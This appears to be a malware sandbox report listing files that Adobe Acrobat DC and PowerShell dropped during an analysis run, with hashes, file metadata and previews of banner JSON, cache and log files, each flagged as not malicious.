SHA1:	3E1E772C184A83646DA2ADF9056B324FB8724BD7
SHA-256:	10C13CB40ECBD8602A729EACA8E11091512E1B7F7B7B961EB82B738685BE32A4
SHA-512:	E1B76A9619DD24E1D8A7D339D3F6549BEBDA42050D6D25027A57BA0ACB2E3C4BCB61948E9933C9C30CAB694BD40A3B4B9768A2D72F3D93B6D7332FED4C185E7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280444022905599
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJf8dPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGU8Ukee9
MD5:	87C10B67E0B95E199B5395945C5D50F8
SHA1:	927728144A9C52C30BC663A7100548AE025395BF
SHA-256:	5635CE572A5753B02BB5D71E82E945997553B32AF3276C1D113B965368B29159
SHA-512:	CB66698FB26C46BC9AFE873DB28AE3E1B6229368628D0D23CC64B6E4F055373BA071869BDF692A308D07A493EFC715B1E3FE10DCB8DFE37C4C0384B45D5D76AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.283454653187466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfQ1rPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGY16Ukee9
MD5:	5EE77536056CBC3C12B2B211155628CA
SHA1:	E9EE12C125B0CF7360DF8FE226EA2316D40E5D33
SHA-256:	E17EE450B1FB548B3EFCDD8CDF39408EA784EF2DBB2C81AC54A0D1ECA3CE5E97
SHA-512:	670D2270C97A9308DF6C0347EE3659F2218256D22515419A9A4C20A55911CD74B97A56846FD4C43E77529E3CF009C0B6E17140E6F7E8E35EABBF62B73DD73F99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298808184130303
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfFldPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGz8Ukee9
MD5:	34E42C360EE979626CF30A3104B093AC
SHA1:	52C3748E9AF1D82C9EF160996FE411C972D171D1
SHA-256:	FCD00A3D37FF0322FE5B65846AA26094B010A132EC58F9CA86955FF37CB954C4
SHA-512:	BF35063A96E60B1C740F5FB5C5F1A320A6D0DFA4AE78A94853A115ACFE4D24AF19955A7FE6334821EA6E2EA0DFBF969EFA795E2A5B2A9ADDC463089FCAC5A041
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.30693289979194
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfzdPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGb8Ukee9
MD5:	4CD393F0D78061D314A0181ED6F91873
SHA1:	5A964353E3D2B9F4BFF39B9C7BA214A0D478D27C
SHA-256:	33F7F0D5358A7CDA157DFA62ED501FD0E97B7EFCD73480A939C885DB4025C303
SHA-512:	2993C94B6EAD589CC115D6DC65A138D3912E74AC72D0C5E2E2C66FB962987A79C3369B0B06EA1798A0F441FF6E6ACA0432273B2F4D8245A372C65FAAD9B9F510
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287024747236181
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfYdPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGg8Ukee9
MD5:	C9463A4121AC105090D3CE9D0D0BFAE3
SHA1:	87F518EF852721372F3F07036EC8CF2B97DFE734
SHA-256:	609E46571CB8D7BCB13B4BF5B8E860A1A981BA8EB7CDE89148D981EDBCD76897
SHA-512:	361296C9F786E9A6BC33BF4A59AC8876A55597B494E7AFA5E9628882D7FB1B76E1A2B19881C8706CA28906EBDA25DAEBBB0C1E45D839446418F26AFAF6FE18E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.273949625043323
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJf+dPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOG28Ukee9
MD5:	67AE07966C085829183F41F67FF27B99
SHA1:	77E581FBCC32FBC6FBC56C722772550F12E9DCAA
SHA-256:	B2AA89C88F112EA9B78BE2AF765BF350FA0F18F412ED267E23EBE69D94C50481
SHA-512:	83354FEFB1A23E53BDE69A2C82C02065E9E6577F9AAC3E9878C1A4469AC3DFF04685E84B7B02C858AE14C0DC5C4289CECA10AED9B7194FD525BB7F55E01450EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.270661021904987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfbPtdPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGDV8Ukee9
MD5:	8BF21C48C259463B2A5DDE1C997E5318
SHA1:	9C3FA0BC4730C6D759C19CC80546F74BE1D1027E
SHA-256:	B51B4D60A6E2BA9D9C4F9B4E93A4222BAEBB77B2F846535A7F67E942E5A8AF0D
SHA-512:	6E0C53911F679DFC9CBB23406675DBC8BD7B531B41CF718F000D4874BD2389E015DAE6CB12748490EE36D92609184D73C1456C0E4F486D5E8387DB6D98FAF99A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.274818497055292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJf21rPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOG+16Ukee9
MD5:	B2E0F4E4053DBAC3282D9B8F52F3FA25
SHA1:	4AFB7312802019743C4CF02DD735EC6F86780A72
SHA-256:	154E468368AD1A2E5FB5201957FFEA552B6CE97F556694F9A70AB803134D19FD
SHA-512:	1C3A31E938A60CF3E9E9352D703A72D75A4EFB08B85FC35E15266A5CE92FA35257A576A995F88FCD82FDAD29A0A0F36F8FD8648BF16523003E9E45A9AFA410AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.649759399460678
Encrypted:	false
SSDEEP:	24:Yv6XyBSXqRmeOVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS9:YvngX1e0BgkDMUJUAh8cvM9
MD5:	DDC027E31E4461CA933BC43508AD6D38
SHA1:	A3861A42621F5CEC2B57FE5CBA4308CA9BB54627
SHA-256:	E56442A0C5E25819E965A3D4707AC65B0C812A4A9BDCDAABB588A31419E32ACB
SHA-512:	EDE4E24E11B00D7338F57EE5E8283489ED995F10387F8D23C8E510D16E9B25ECE22F032EE9EEB39E27DF9E3B969CB68FEFF188D080A0B613FC476B14EA8DDD4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24995910325373
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfshHHrPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGUUUkee9
MD5:	784E5B79B6908A58E9906E3A55B81A7F
SHA1:	7652E75D391956604E55AFF6C6325EEF3B75E2E7
SHA-256:	F27551D9FE0DBFEAB824AB38FE4280880D697F5EA96C0F969C465AAECBBC1D14
SHA-512:	9D7307BF8D1D4D41C04A72C8AD0A103E4BE3C3FD95745D1AE9573A90738BEC8FC9B96B96701382863BE89AEFB0E5641510B4ADC1D547C20FA7FCF6C67588E218
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.277994697092427
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJTqgFCrPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGTq16Ukee9
MD5:	506711347D80CC4BA8109075D9556010
SHA1:	7DF28B727EBC4265BF15157E37DE2D41FB025467
SHA-256:	C5A96D7F4E9652B357751224DA0B2B1709A0A3865B7A411B052DCB69AFF35AF9
SHA-512:	3550811C9D90C436320C52F479341105FD972E5BC3DAF39E3E05FE9A01ABED078EA8D393435917C0C970A4D9E6B47BDE7B47BA5B8C5A675BECB5FB3612CD0917
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133616730217621
Encrypted:	false
SSDEEP:	24:YMDaVAaylEGZzT1K4Z88fwf645KUjHj0Su2zsi2LSdCXsAGMxaY5M2x9cvux0OG:Yt+T1KGPhcDq8sivzAGMX+S9cSw
MD5:	A3CD548A1D0F02D1EB5D30BD846EA700
SHA1:	A99C7683ADFF7C6B0D4CA3A1FDA289D87F101261
SHA-256:	D4A27A1DBE3FC5EC8053B10F1258A10F736B733CBBBE14A6BFD21FDCC01C1E20
SHA-512:	1AA31716EAAA0B967020F6EA11591ABD72034BEE79AC7656EBCDEDD1CBC9D6A48E5D7FF44F244BF52634125207C360339C550134A24C9D400EBA5F5AC5E4C516
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e460fb37ffa0c6d0e0100647b4074360","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736560974000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"73b240d148f8207cf1666fa3b06f509c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736560974000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e5367e3ce8cd0d01799737ffb8e03de0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736560974000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"47e45d64d33b6b1e17e0b2431ef53d18","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736560974000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f4c7c702464a058881e52f34b27e462d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736560974000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"392cae48a780b67b54d3c38ef42d937d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4555038887297993
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsWOklQOe:lNVmsw3SHtbDbPe0K3+fDZdE
MD5:	FFA2657B98159B6E436FBC8081E1E994
SHA1:	296F66552E33C89B2AA0A46EF5A8C3C227714A64
SHA-256:	6520E2E67303F7E9264193BD88C2C420F83F758717235471191AB62C0DD895B0
SHA-512:	5D11BDDBE596189C9FE53863D2C55C3B515D5F153C1989B5EA13C5B4FEC61C2201E52729B79D14F43108233F7A8155CF940534C1537F5ECF6458388B18B1455C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9594448143259213
Encrypted:	false
SSDEEP:	48:7MzrvrBd6dHtbGIbPe0K3+fDy2dsWOBsqFl2GL7msD:723SHtbDbPe0K3+fDZdlKVmsD
MD5:	98E6819F4D25AB761C22C8D60C4A4616
SHA1:	7A2BB34FCBC0A6FCC63642A908605AF0F4736DB6
SHA-256:	198B178DFDBE39FDA32A381E628AA061DCF86F70F7AE0C368B49A915275A2056
SHA-512:	5E2A51C4CF6757E5DF91CC9ABCF376597D8BB122CCE13E89494A92E6ADE3723E6F9AD1E2040964E16F35A1A944DDA7BAD839AD7A9217AEF7581A6174408F4535
Malicious:	false
Preview:	.... .c........I......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgefVyxEkqJ6bOXY5Czti3c4J8R4Yyu:6a6TZ44ADEefVypqJ6yCCztZSK
MD5:	AE68144CACEE0405AB6089FBEF69123E
SHA1:	E2630129E918C64D5743B66A9B52D12D76489101
SHA-256:	9CF16A1CAE37F130CAE65DE22DB080035CF1DE6B42B48B212765E86BFB11F992
SHA-512:	B56A3E19D50501FD77F58B14225F3C6D3FDDD0810666D43A7BF02B38B37004BCBB7B5DA9EF509C0D985D2838B6F8FCE0B80E0C0F428A4418CA0060AB58A67787
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI80361.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4818603103483943
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClswloYH:Qw946cPbiOxDlbYnuRK+bKoYH
MD5:	D45A80A98286CE2D325EDCBEFC74929A
SHA1:	25BC455651A92D0359904759DAA2B1BAF09CA7A2
SHA-256:	9D97CB55A50080388794DE5F669A5D9FEB983C4D557A86A00C32317709FFC75F
SHA-512:	9711D18B129D11C559C7D32B2AD5C7DF078A04D8D7CBAF5E99644ACED634D585622B03717BAFBEA26F0B0738FBD7500474779E78DEB946AEE5A13E90543C2F09
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.0.2.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqbwb1w0.tow.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e0rfcblu.uil.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A92tkyo7_1tdifb9_5x8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv 